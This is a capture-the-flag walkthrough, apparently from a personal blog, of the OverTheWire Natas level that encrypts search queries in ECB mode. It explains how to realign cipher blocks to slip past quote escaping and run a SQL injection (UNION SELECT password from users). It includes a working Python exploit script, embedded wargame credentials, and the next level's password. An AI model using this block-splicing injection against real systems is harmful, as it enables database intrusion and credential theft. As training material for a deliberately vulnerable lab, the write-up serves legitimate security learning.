NatasOverTheWire

Natas29

Website URL: http://overthewire.org/wargames/natas/natas29.html

According to the data on the OverTheWire webpage.

Username: natas29
URL:      http://natas29.natas.labs.overthewire.org

Log into Natas28

Fig. 1

Looking at the source:

Fig. 2

So, the source doesn’t seem to help much. Let’s try out some query.

Upon trying out “test”, I got the following page.

Fig. 4

Notice that the query (in the URL) is some hash, let’s try to identify. First let’s introduce some error in the query.

Fig. 5

So, PKCS#7 is being used. Now, let’s try to glean more information by intercepting the request.

Fig. 6

So, in the post data initially, they send the query as is, which I guess is converted later on to PKCS#7 based GET query. Let’s have a look at the encrypted query, I will use “test” as the query string.

G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPK%2FZEJpSw8lYr3%2BNDY3VpFZKSh%2FPMVHnhLmbzHIY7GAR1bVcy3Ix3D2Q5cVi8F6bmY%3D

URL Decoding it:

G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPK/ZEJpSw8lYr3+NDY3VpFZKSh/PMVHnhLmbzHIY7GAR1bVcy3Ix3D2Q5cVi8F6bmY=

This seems to be base64 encoded. Decoding will give us sequence of bytes. Let’s now focus a bit on how the encrypted strings are getting generated. Upon trying out a few different queries, you will notice that first 32 bytes are always identical. Further, upon examining similar length strings, you will see that the entire string is not changing, indicating the usage of ECB mode cipher and not CBC mode cipher.

Trying out a few more strings of increasing length, you’ll observe the block size to be 16 bytes and 10 characters of input fill in the first block of the user input.

A couple more attempts reveal that, upon submitting a query, it searches and obtains relevant text and displays it. At the backend, we can safely assume that this search takes place in some kind of a database. Most likely it will be an SQL database, because, well, it’s very common implementation.

Okay, so let’s find out what kind of query it’s using. Remember that the script is mapping 10 characters to the first block? Let’s submit 9 ‘x’ to the query and see what we get as output.

G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPK5PGXEsF7s0Ky8xpo7mgG9oJUi8wHPnTascCPxZZSMWpc5zZBSL6eob5V3O1b5%2BMA%3D

Now, trying out multiple characters as the last character, we can figure out what is the character immediately after our query. (You can reuse the brute force script that we developed earlier for a similar purpose, with the appropriate modifications).

Upon guessing, we find that the character is ‘%’.

Proceeding upon our assumption that the database is MySQL, the string would be part of a LIKE clause.

Now, the next thing we could try is to guess all the characters, but you’d find that it would be a not so successful attempt…perhaps they are escaping some characters…

Instead, let’s try to break the query. Typically, a LIKE based query looks like:

SELECT * FROM <table name> where <column name> LIKE '%<query>%';

Now, if we submit the query as is, it wouldn’t be of much help, as the input we provide is being escaped…you can try out and find it. For us it would one of the quote/double quote characters. So, instead we need to find a way around it. We need a query like:

SELECT * FROM <table name> where <column name> LIKE '%<query>%' UNION ALL SELECT * from users;

Assuming of course that “users” is the database (a safe assumption because of our previous experience). Now, if you notice carefully, there is no escaping being done after encryption, thus, the input sanitation is being done before the encryption. What this means is that, though we cannot submit an injection as a plaintext query, we can theoretically do so, if we can obtain the encrypted version of the unsanitized plaintext query. Let’s try to find a way to get that.

Let’s review what we know about the encryption and sanitization:

  • Encryption is being done in ECB mode => All blocks would be independently encrypted.
  • Block size is 16 bytes and 10 bytes of input make up the first available block
  • Input sanitization is taking place => the quote (‘) character will become \’ in the input of the ECB cipher algorithm.
  • There is some data that is being appended to the user input

Going by the above information, we can figure out a way to inject our SQL query to the server. Since the server is escaping and encrypting the user input, we cannot inject directly as a plaintext. However, if we manage to get the encrypted version of our query, and are able form the encrypted input properly (prepending and appending whatever strings the script is appending), we can inject our code.

Since the script uses ECB form of encryption, we can do so easily. First, we need to make sure that we have the prepended blocks, and ensure that the blocks we obtain have no padding (since we are going to add more blocks). For this, we will insert a user query having 10 characters. From the query ciphertext (which can be obtained from the URL), the first 3 blocks would then be the prepended strings and, since our input also ended at the 3rd block boundary, fourth block onwards till the end of the ciphertext is the appended string. Our input should be inserted in the middle of the 3rd and 4th blocks.

Next, we need to obtain an encrypted version of our SQL injection. This should be in the form that we can directly plug and play with our previous blocks. Since the text is getting escaped before being encrypted and sent to the server, we need to eliminate the escaping somehow. This we can achieve by creating a string consisting of only 9 characters. This would mean the ‘\’ used to escape the quote (‘) will be in the third block. The third block will be encrypted separately in ECB mode, leaving our injection unadulterated in the ciphertext, fourth block onwards.

We can then pick up our injection, insert it between the query obtained earlier and send the resultant query to the server. That should get us the password to the next level.

# -*- coding: utf-8 -*-
import os
import requests
import base64
import urllib2
import urllib

def make_request(url,auth,query):
    r = requests.post(url, auth=auth,data=query,allow_redirects=True)
    return r

def get_cipher(url):
    try:
        cipher = base64.b64decode(requests.utils.unquote(url.split('query=')[1]))
        return cipher
    except Exception as e:
        print("Error in parsing URL")
        return None
    return
    
def init_pad(ch,num):
    a = ch * num
    return a
    
def find_block_param(url, auth):
    bs_ctr = 0
    len_list = []
    qry_list = []
    s_list = []
    print("Starting queries")
    for i in range(1,10):
        resp = make_request(url,auth,{"query":'a'*i})
        qry = get_cipher(resp.url)
        print base64.b64encode(qry)
        len_list.append(len(qry))
        s_list.append(len('a'*i))
        qry_list.append(base64.b64encode(qry))
    print("All queries done")
    set_list = list(set(len_list))
    block_size = set_list[1] - set_list[0]
    first_block = len_list.count(set_list[0])
    return first_block, block_size, common_length
       
        
def main():
    url = 'http://natas28.natas.labs.overthewire.org/'
    injection_url = url + 'search.php/?query='
    auth = requests.auth.HTTPBasicAuth('natas28','JWwR438wkgTsNKBbcJoowyysdM82YjeF')
    sterm = 'query'
    
    block_size = 16
    block_completion_str = init_pad(" ",10) 
    ref_query = get_cipher(make_request(url,auth,{sterm:block_completion_str}).url)
    first_part = ref_query[:3*block_size]
    last_part = ref_query[3*block_size:]
   
    injection_qry = init_pad(' ',9) + "' UNION SELECT password from users;#" 
    injection = get_cipher(make_request(url,auth,{sterm:injection_qry}).url)
    injection_size = (len(injection_qry))/block_size
    if((len(injection_qry)-(10))%block_size!=0): 
        injection_size += 1
    final_query = first_part + injection[3*block_size:(3*block_size + (injection_size*block_size))] + last_part
    final_query = requests.utils.quote(base64.b64encode(final_query)).replace('/','%2F')
    attack_resp = requests.get(injection_url+final_query,auth=auth)
    print attack_resp.text
    return

if __name__ == '__main__':
    main()

Done!
(If you couldn’t understand some or most of it, or couldn’t figure it out on your own, don’t beat yourself about it, this is one of the harder levels, took me a while too!)

Password for the next level : airooCaiseiyee8he8xongien9euhe8b

Leave a Reply

Your email address will not be published. Required fields are marked *